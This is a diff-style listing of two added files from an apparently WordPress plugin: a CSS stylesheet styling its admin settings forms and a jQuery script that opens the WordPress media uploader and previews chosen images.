|
|
|
|
|
|
|
|
|
|
1 |
+
#wpdreams {
|
2 |
+
font:normal 13px/100% Verdana,Tahoma,sans-serif;
|
3 |
+
}
|
4 |
+
|
5 |
+
#wpdreams hidden {
|
6 |
+
display: none;
|
7 |
+
}
|
8 |
+
|
9 |
+
#wpdreams div.triggerer {
|
10 |
+
display:none;
|
11 |
+
}
|
12 |
+
#wpdreams legend {
|
13 |
+
font-size:1.2em;
|
14 |
+
color:#444;
|
15 |
+
}
|
16 |
+
#wpdreams hr {
|
17 |
+
color:#eee;
|
18 |
+
background-color:#eee;
|
19 |
+
margin:10px 40px;
|
20 |
+
border:none;
|
21 |
+
}
|
22 |
+
#wpdreams .wpdreams-container {
|
23 |
+
overflow:hidden;
|
24 |
+
}
|
25 |
+
#wpdreams input,#wpdreams textarea,#wpdreams select {
|
26 |
+
padding:9px;
|
27 |
+
border:solid 1px #E5E5E5;
|
28 |
+
outline:0;
|
29 |
+
height:auto;
|
30 |
+
font:normal 13px/100% Verdana,Tahoma,sans-serif;
|
31 |
+
width:200px;
|
32 |
+
background:-webkit-gradient(linear,left top,left 25,from(#FFFFFF),color-stop(4%,#EEEEEE),to(#FFFFFF));
|
33 |
+
background:-moz-linear-gradient(top,#FFFFFF,#EEEEEE 1px,#FFFFFF 25px);
|
34 |
+
box-shadow:rgba(0,0,0,0.1) 0px 0px 8px;
|
35 |
+
-moz-box-shadow:rgba(0,0,0,0.1) 0px 0px 8px;
|
36 |
+
-webkit-box-shadow:rgba(0,0,0,0.1) 0px 0px 8px;
|
37 |
+
}
|
38 |
+
|
39 |
+
#wpdreams .wpdreamsTextSmall input,
|
40 |
+
#wpdreams input.threedigit {
|
41 |
+
width: 70px;
|
42 |
+
}
|
43 |
+
#wpdreams select {
|
44 |
+
padding:8px 9px 4px 9px;
|
45 |
+
}
|
46 |
+
#wpdreams input[type=radio] {
|
47 |
+
width:30px;
|
48 |
+
}
|
49 |
+
#wpdreams a.yes {
|
50 |
+
background: none repeat scroll 0 0 #51C07D;
|
51 |
+
border: 1px solid #3B865A;
|
52 |
+
border-radius: 4px 4px 4px 4px;
|
53 |
+
box-shadow: 1px 1px 0 0 rgba(255, 255, 255, 0.6) inset;
|
54 |
+
color: #FFFFFF;
|
55 |
+
cursor: pointer;
|
56 |
+
line-height: 35px;
|
57 |
+
margin: 12px auto;
|
58 |
+
padding: 6px 10px;
|
59 |
+
}
|
60 |
+
#wpdreams a.no {
|
61 |
+
background: none repeat scroll 0 0 #BE4545;
|
62 |
+
border: 1px solid #7C383C;
|
63 |
+
border-radius: 4px 4px 4px 4px;
|
64 |
+
box-shadow: 1px 1px 0 0 rgba(255, 255, 255, 0.5) inset;
|
65 |
+
color: #FFFFFF;
|
66 |
+
cursor: pointer;
|
67 |
+
line-height: 35px;
|
68 |
+
margin: 12px auto;
|
69 |
+
padding: 6px 10px;
|
70 |
+
}
|
71 |
+
#wpdreams input.color {
|
72 |
+
background:0;
|
73 |
+
width:92px;
|
74 |
+
}
|
75 |
+
#wpdreams textarea {
|
76 |
+
width:334px;
|
77 |
+
height:150px;
|
78 |
+
line-height:100%;
|
79 |
+
}
|
80 |
+
#wpdreams input:hover,#wpdreams textarea:hover,#wpdreams input:focus,#wpdreams textarea:focus {
|
81 |
+
border-color:#C9C9C9;
|
82 |
+
-webkit-box-shadow:rgba(0,0,0,0.15) 0px 0px 8px;
|
83 |
+
}
|
84 |
+
#wpdreams form label {
|
85 |
+
margin:0 10px;
|
86 |
+
color:#999999;
|
87 |
+
}
|
88 |
+
#wpdreams input[type=button],#wpdreams input[type=submit] {
|
89 |
+
width:auto;
|
90 |
+
padding:9px 15px;
|
91 |
+
background:#017798;
|
92 |
+
border:0;
|
93 |
+
font-size:14px;
|
94 |
+
color:#FFFFFF;
|
95 |
+
-moz-border-radius:5px;
|
96 |
+
-webkit-border-radius:5px;
|
97 |
+
cursor:pointer;
|
98 |
+
margin-bottom:19px;
|
99 |
+
}
|
100 |
+
#wpdreams input[type=submit] {
|
101 |
+
background:#617798;
|
102 |
+
}
|
103 |
+
#wpdreams .sortable .wpdreams-slider {
|
104 |
+
background:transparent url(icons/drag.png) no-repeat;
|
105 |
+
position:relative;
|
106 |
+
cursor:move;
|
107 |
+
}
|
108 |
+
#wpdreams .sortable .wpdreams-slider .drag {
|
109 |
+
cursor:pointer;
|
110 |
+
height:46px;
|
111 |
+
position:absolute;
|
112 |
+
top:0;
|
113 |
+
left:0;
|
114 |
+
width:30px;
|
115 |
+
}
|
116 |
+
#wpdreams label {
|
117 |
+
vertical-align:baseline;
|
118 |
+
margin:0 10px;
|
119 |
+
color:#999999;
|
120 |
+
}
|
121 |
+
#wpdreams input.shortcode {
|
122 |
+
padding:1px 1px 1px 5px;
|
123 |
+
border:solid 1px #E5E5E5;
|
124 |
+
outline:0;
|
125 |
+
font:normal 10px/100% Verdana,Tahoma,sans-serif;
|
126 |
+
width:200px;
|
127 |
+
height:20px;
|
128 |
+
}
|
129 |
+
#wpdreams label.shortcode {
|
130 |
+
font-size:12px;
|
131 |
+
}
|
132 |
+
#wpdreams img.infoimage {
|
133 |
+
cursor:pointer;
|
134 |
+
margin-left:8px;
|
135 |
+
margin-top:-2px;
|
136 |
+
vertical-align:middle;
|
137 |
+
}
|
138 |
+
#wpdreams .item {
|
139 |
+
width:750px;
|
140 |
+
text-align:right;
|
141 |
+
padding:3px;
|
142 |
+
margin:17px 0 0;
|
143 |
+
}
|
144 |
+
#wpdreams .wpdreams-slider {
|
145 |
+
overflow:hidden;
|
146 |
+
border:solid 1px #E5E5E5;
|
147 |
+
outline:0;
|
148 |
+
font:normal 13px/100% Verdana,Tahoma,sans-serif;
|
149 |
+
box-shadow:rgba(0,0,0,0.1) 0px 0px 8px;
|
150 |
+
-moz-box-shadow:rgba(0,0,0,0.1) 0px 0px 8px;
|
151 |
+
-webkit-box-shadow:rgba(0,0,0,0.1) 0px 0px 8px;
|
152 |
+
padding:10px;
|
153 |
+
margin:10px;
|
154 |
+
}
|
155 |
+
#wpdreams .wpdreams-slider .slider-info {
|
156 |
+
height:26px;
|
157 |
+
margin:4px 0 0 0;
|
158 |
+
font-size:1.1em;
|
159 |
+
padding:0 0 0 20px;
|
160 |
+
}
|
161 |
+
#wpdreams .wpdreams-slider .slider-info span {
|
162 |
+
margin-left:20px;
|
163 |
+
}
|
164 |
+
#wpdreams .wpdreams-slider .slider-info img {
|
165 |
+
margin-left:8px;
|
166 |
+
margin-top:-2px;
|
167 |
+
vertical-align:middle;
|
168 |
+
cursor:pointer;
|
169 |
+
}
|
170 |
+
#wpdreams .preview {
|
171 |
+
height:28px;
|
172 |
+
vertical-align:middle;
|
173 |
+
border-radius:2px;
|
174 |
+
float:none;
|
175 |
+
cursor:pointer;
|
176 |
+
}
|
177 |
+
#wpdreams fieldset {
|
178 |
+
border:1px solid #EEEEEE;
|
179 |
+
margin:20px 5px 5px 5px;
|
180 |
+
padding:11px;
|
181 |
+
}
|
182 |
+
|
183 |
+
#wpdreams form fieldset {
|
184 |
+
border:1px solid #EEEEEE;
|
185 |
+
margin:20px 5px 30px;
|
186 |
+
padding:11px;
|
187 |
+
}
|
188 |
+
|
189 |
+
#wpdreams fieldset fieldset {
|
190 |
+
border:1px dotted #ddd;
|
191 |
+
background: #fefefe;
|
192 |
+
margin:5px 0px 20px;
|
193 |
+
padding:11px;
|
194 |
+
font-size: 0.9em;
|
195 |
+
}
|
196 |
+
#wpdreams .errorMsg {
|
197 |
+
color:#77261a;
|
198 |
+
padding:7px;
|
199 |
+
margin:5px;
|
200 |
+
border:1px solid #eee;
|
201 |
+
background:#fff1f1;
|
202 |
+
border-radius:3px;
|
203 |
+
text-align:left;
|
204 |
+
}
|
205 |
+
#wpdreams .successMsg {
|
206 |
+
color:#1a772c;
|
207 |
+
padding:7px;
|
208 |
+
margin:5px;
|
209 |
+
border:1px solid #eee;
|
210 |
+
background:#f1fff1;
|
211 |
+
border-radius:3px;
|
212 |
+
}
|
213 |
+
.tooltip {
|
214 |
+
display:none;
|
215 |
+
background:transparent url(icons/black_arrow.png);
|
216 |
+
font-size:12px;
|
217 |
+
height:70px;
|
218 |
+
width:160px;
|
219 |
+
padding:25px;
|
220 |
+
color:#eee;
|
221 |
+
}
|
222 |
+
#wpdreams .overlay {
|
223 |
+
display:none;
|
224 |
+
z-index:10000;
|
225 |
+
background-color:#333;
|
226 |
+
min-width:10px;
|
227 |
+
min-height:10px;
|
228 |
+
border:1px solid #666;
|
229 |
+
-moz-box-shadow:0 0 90px 5px #000;
|
230 |
+
-webkit-box-shadow:0 0 90px #000;
|
231 |
+
}
|
232 |
+
#wpdreams .overlay .close {
|
233 |
+
background-image:url(icons/close.png);
|
234 |
+
position:absolute;
|
235 |
+
right:-15px;
|
236 |
+
top:-15px;
|
237 |
+
cursor:pointer;
|
238 |
+
height:35px;
|
239 |
+
width:35px;
|
240 |
+
}
|
241 |
+
#wpdreams .labeldrag {
|
242 |
+
background:#eee;
|
243 |
+
position:relative;
|
244 |
+
border:1px solid #ddd;
|
245 |
+
width:410px;
|
246 |
+
float:right;
|
247 |
+
}
|
248 |
+
#wpdreams .labeldrag .inner {
|
249 |
+
background:#FFF;
|
250 |
+
position:absolute;
|
251 |
+
top:5px;
|
252 |
+
left:5px;
|
253 |
+
border:1px solid #ddd;
|
254 |
+
background:url(icons/labelposition.png) no-repeat #fff;
|
255 |
+
}
|
256 |
+
#wpdreams .labeldrag .inner .dragme {
|
257 |
+
width:10px;
|
258 |
+
height:10px;
|
259 |
+
background-image:url(icons/point.png);
|
260 |
+
cursor: pointer;
|
261 |
+
}
|
262 |
+
|
263 |
+
#wpdreams img.radioimage {
|
264 |
+
border: 2px solid #eee;
|
265 |
+
border-radius: 4px;
|
266 |
+
margin: 5px;
|
267 |
+
cursor: pointer;
|
268 |
+
vertical-align:middle;
|
269 |
+
padding: 5px;
|
270 |
+
}
|
271 |
+
|
272 |
+
#wpdreams img.radioimage:hover {
|
273 |
+
border: 2px solid #ddd;
|
274 |
+
box-shadow: 0px 0px 3px 1px #ddd;
|
275 |
+
}
|
276 |
+
|
277 |
+
#wpdreams img.radioimage.selected {
|
278 |
+
border: 2px solid #777;
|
279 |
+
box-shadow: 0px 0px 3px 1px #999;
|
280 |
+
}
|
281 |
+
|
282 |
+
#wpdreams span.radioimage {
|
283 |
+
vertical-align:middle;
|
284 |
+
margin:0 10px;
|
285 |
+
color:#999999;
|
286 |
+
}
|
287 |
+
|
288 |
+
#wpdreams .wpdreamsBoxShadow {
|
289 |
+
text-align:right;
|
290 |
+
}
|
291 |
+
|
292 |
+
#wpdreams .wpdreamsBorder {
|
293 |
+
text-align:right;
|
294 |
+
}
|
295 |
+
|
296 |
+
#wpdreams input.twodigit {
|
297 |
+
width: 50px;
|
298 |
+
text-align:right;
|
299 |
+
}
|
300 |
+
|
301 |
+
#wpdreams .big-loading {
|
302 |
+
width: 400px;
|
303 |
+
height: 317px;
|
304 |
+
margin: 0 auto;
|
305 |
+
background:transparent url(icons/loading-big.gif) no-repeat;
|
306 |
+
}
|
307 |
+
|
308 |
+
|
309 |
+
#wpdreams .wpdreamsThemeChooser span {
|
310 |
+
background: url("icons/paint.png") no-repeat scroll 0 0 transparent;
|
311 |
+
display: inline-block;
|
312 |
+
height: 32px;
|
313 |
+
margin: 0 10px;
|
314 |
+
vertical-align: middle;
|
315 |
+
width: 32px;
|
316 |
+
}
|
317 |
+
|
318 |
+
#wpdreams .sortablecontainer {
|
319 |
+
width: 40%;
|
320 |
+
margin: 15px 30px;
|
321 |
+
float: left;
|
322 |
+
text-align: center;
|
323 |
+
color: #999;
|
324 |
+
}
|
325 |
+
|
326 |
+
#wpdreams .sortablecontainer ul {
|
327 |
+
height: 300px;
|
328 |
+
overflow: auto;
|
329 |
+
background: #f6f6f6;
|
330 |
+
padding: 10px;
|
331 |
+
border: 1px solid #eee;
|
332 |
+
}
|
333 |
+
|
334 |
+
#wpdreams .sortablecontainer ul li {
|
335 |
+
padding: 10px;
|
336 |
+
cursor: move;
|
337 |
+
}
|
338 |
+
|
339 |
+
#wpdreams .item p.extra {
|
340 |
+
margin: 20px;
|
341 |
+
color: #aaa;
|
342 |
+
}
|
343 |
+
|
344 |
+
#wpdreams .wpdreamsCustomPostTypesEditable span {
|
345 |
+
color: #666;
|
346 |
+
}
|
347 |
+
|
348 |
+
#wpdreams .wpdreamsCustomPostTypesEditable input {
|
349 |
+
padding: 3px;
|
350 |
+
}
|
settings/types/upload.js
ADDED
@@ -0,0 +1,67 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
/*jQuery(document).ready(function() {
|
2 |
+
var _self = this;
|
3 |
+
jQuery('.upload_image_button').click(function() {
|
4 |
+
_self.field = jQuery(this).prev();
|
5 |
+
tb_show('', 'media-upload.php?type=image&TB_iframe=true', false);
|
6 |
+
return false;
|
7 |
+
});
|
8 |
+
|
9 |
+
window.send_to_editor = function(html) {
|
10 |
+
imgurl = jQuery('img',html).attr('src');
|
11 |
+
_self.field.val(imgurl);
|
12 |
+
tb_remove();
|
13 |
+
_self.createPreview();
|
14 |
+
}
|
15 |
+
|
16 |
+
this.createPreview = function() {
|
17 |
+
node = _self.field.next();
|
18 |
+
|
19 |
+
}
|
20 |
+
|
21 |
+
}); */
|
22 |
+
|
23 |
+
function wpdreamsuploader(args) {
|
24 |
+
this.constructor = function() {
|
25 |
+
this.buttons = jQuery('.wpdreamsUpload_button');
|
26 |
+
if (this.buttons.length==0) return;
|
27 |
+
this.currentInput = null;
|
28 |
+
this.init();
|
29 |
+
jQuery('input.wpdreamsUpload').change(function() {
|
30 |
+
var _parent = this;
|
31 |
+
jQuery('img', this.parentNode).each(function(){
|
32 |
+
jQuery(this).css("display", "inline");
|
33 |
+
this.src = jQuery(_parent).val()+"?"+Math.random();
|
34 |
+
});
|
35 |
+
});
|
36 |
+
jQuery("img[rel]").overlay();
|
37 |
+
},
|
38 |
+
|
39 |
+
this.init = function() {
|
40 |
+
this.buttons.bind('click', jQuery.proxy(this.openTb, this));
|
41 |
+
jQuery('input[name="default"]').click(function(){
|
42 |
+
jQuery(this).prev().prev().val(jQuery(this).next().val());
|
43 |
+
jQuery('input.wpdreamsUpload').trigger("change");
|
44 |
+
});
|
45 |
+
window.send_to_editor = jQuery.proxy(function(html) {
|
46 |
+
imgurl = jQuery('img',html).attr('src');
|
47 |
+
if (this.currentInput==null) return;
|
48 |
+
this.currentInput.val(imgurl);
|
49 |
+
tb_remove();
|
50 |
+
jQuery('input.wpdreamsUpload').trigger("change");
|
51 |
+
}, this);
|
52 |
+
},
|
53 |
+
|
54 |
+
this.openTb = function(e) {
|
55 |
+
this.currentInput = jQuery(e.target).prev();
|
56 |
+
tb_show('', 'media-upload.php?type=image&TB_iframe=true', false);
|
57 |
+
return false;
|
58 |
+
}
|
59 |
+
this.constructor();
|
60 |
+
}
|
61 |
+
|
62 |
+
|
63 |
+
|
64 |
+
jQuery(document).ready(function() {
|
65 |
+
if (x==null)
|
66 |
+
var x = new wpdreamsuploader();
|
67 |
+
});
|